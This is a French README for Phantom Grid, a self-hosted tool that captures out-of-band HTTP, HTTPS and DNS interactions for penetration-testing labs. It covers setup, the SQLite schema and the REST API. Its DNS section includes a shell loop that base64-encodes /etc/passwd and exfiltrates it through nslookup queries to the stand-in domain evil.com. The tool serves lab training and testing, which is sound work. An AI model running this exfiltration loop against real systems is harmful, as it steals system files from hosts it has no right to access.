Alternative gratuite à Burp Collaborator - capture d'interactions OOB (HTTP/HTTPS/DNS) avec SQLite et réassemblage d'exfiltration
Alternative gratuite et open-source à Burp Collaborator pour les laboratoires de tests d'intrusion
Capture d'interactions Out-of-Band (OOB) · HTTP/HTTPS · DNS · SQLite · Réassemblage d'exfiltration
Phantom Grid est un outil auto-hébergé de capture d'interactions OOB (Out-of-Band) — une alternative gratuite à Burp Collaborator pour résoudre des laboratoires de tests d'intrusion (PortSwigger Web Security Academy, HackTheBox, TryHackMe, etc.).
| Fonctionnalité | Description |
|---|---|
| Capture HTTP + HTTPS | Double pile avec certificats TLS auto-signés générés automatiquement |
| Capture DNS | Serveur DNS intégré sur le port 53 |
| Réassemblage d'exfiltration DNS | Réassemblage automatique des fragments à partir d'une exfiltration DNS multi-parties |
| Persistance SQLite | Toutes les données survivent aux redémarrages du serveur (mode WAL pour la performance) |
| 40+ modèles de payloads | SSRF, XXE, SQLi OOB, CMDi, SSTI, exfiltration DNS — prêts à copier |
| Tableau de bord tactique | Interface de centre de commandement avec surveillance en temps réel |
| Prêt pour Docker | Déploiement en une commande |
| API REST | API complète de gestion des tokens/interactions/exfiltrations |
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
pip install -r server/requirements.txt
# HTTP only
python server/server.py
# HTTP + HTTPS (auto-generates self-signed cert)
python server/server.py --https
# Full stack (requires sudo for DNS port 53)
sudo python server/server.py --https --dns
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
docker compose up -d
python server/server.py --https &
ngrok http 9090
# Use the ngrok HTTPS URL in your payloads
┌──────────────────────────────────────────────────────────────┐
│ PHANTOM GRID v2.0 │
│ │
│ ┌─────────────┐ ┌─────────────────────────────────┐ │
│ │ Dashboard │─API─▶│ Flask Server │ │
│ │ (React) │ │ │ │
│ └─────────────┘ │ :9090 HTTP capture + API │ │
│ │ :9443 HTTPS capture + API │ │
│ ┌─────────────┐ │ :53 DNS capture │ │
│ │ Target App │─────▶│ │ │
│ └─────────────┘ └──────────┬──────────────────────┘ │
│ │ │
│ ┌──────────▼──────────┐ │
│ │ SQLite Database │ │
│ │ phantom_grid.db │ │
│ │ │ │
│ │ tokens │ │
│ │ interactions │ │
│ │ dns_exfil_sessions │ │
│ │ dns_exfil_chunks │ │
│ └─────────────────────┘ │
│ │
└──────────────────────────────────────────────────────────────┘
Les applications modernes bloquent souvent les requêtes à contenu mixte (http:// depuis des pages https://). Phantom Grid v2.0 exécute HTTPS en parallèle de HTTP.
python server/server.py --https
# Generates certs/server.pem + certs/server.key automatically
# HTTPS available at https://0.0.0.0:9443
python server/server.py --https \
--cert /etc/letsencrypt/live/yourdomain/fullchain.pem \
--key /etc/letsencrypt/live/yourdomain/privkey.pem
python server/server.py &
ngrok http 9090
# ngrok provides a trusted HTTPS URL automatically
Phantom Grid réassemble automatiquement les données d'exfiltration DNS fragmentées. C'est essentiel pour extraire de grandes charges utiles qui doivent être réparties sur plusieurs requêtes DNS (labels limités à 63 octets).
| Format | Exemple | Cas d'usage |
|---|---|---|
| Simple | data.TOKEN.domain | Exfiltration d'une valeur unique |
| Indexé | 0.chunk1.TOKEN.domain | Session automatique, fragments ordonnés |
| Étiqueté | sess1.0.chunk1.TOKEN.domain | Session nommée avec ordonnancement |
| Signal de fin | end.sess1.TOKEN.domain | Marquer la session comme terminée |
/etc/passwd via DNSSur la cible :
# Split file into 50-byte base64 chunks and send via DNS
data=$(base64 /etc/passwd | tr -d '\n')
token="a1b2c3d4e5f6"
domain="evil.com"
i=0
while [ -n "$data" ]; do
chunk=$(echo "$data" | cut -c1-50)
data=$(echo "$data" | cut -c51-)
nslookup "exfil.$i.$chunk.$token.$domain" >/dev/null 2>&1
i=$((i+1))
done
nslookup "end.exfil.$token.$domain" >/dev/null 2>&1
Afficher les données réassemblées :
curl http://localhost:9090/api/tokens/a1b2c3d4e5f6/exfil
Réponse :
[{
"session_tag": "exfil",
"completed": 1,
"chunk_count": 12,
"reassembled": "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYm..."
}]
Toutes les données sont stockées dans phantom_grid.db en utilisant le mode WAL de SQLite pour des performances de lecture/écriture concurrentes.
phantom_grid.db
├── tokens — Token metadata
├── interactions — All HTTP/DNS captures
├── dns_exfil_sessions — Grouped exfil sessions
└── dns_exfil_chunks — Individual exfil data chunks
Les données survivent aux redémarrages du serveur. Sauvegardez en copiant phantom_grid.db.
| Méthode | Endpoint | Description |
|---|---|---|
GET | /api/tokens | Lister tous les tokens avec statistiques |
POST | /api/tokens | Créer un token {"label": "...", "notes": "..."} |
PATCH | /api/tokens/<id> | Mettre à jour le label/notes du token |
DELETE | /api/tokens/<id> | Supprimer le token + toutes les données (CASCADE) |
| Méthode | Endpoint | Description |
|---|---|---|
GET | /api/tokens/<id>/interactions?limit=&offset= | Obtenir les interactions d'un token |
DELETE | /api/tokens/<id>/interactions | Effacer les interactions |
GET | /api/log?limit= | Journal global (tous les tokens) |
GET | /api/poll?since=<ISO> | Interroger les nouvelles interactions |
| Méthode | Endpoint | Description |
|---|---|---|
GET | /api/tokens/<id>/exfil | Obtenir les sessions d'exfiltration avec les données réassemblées |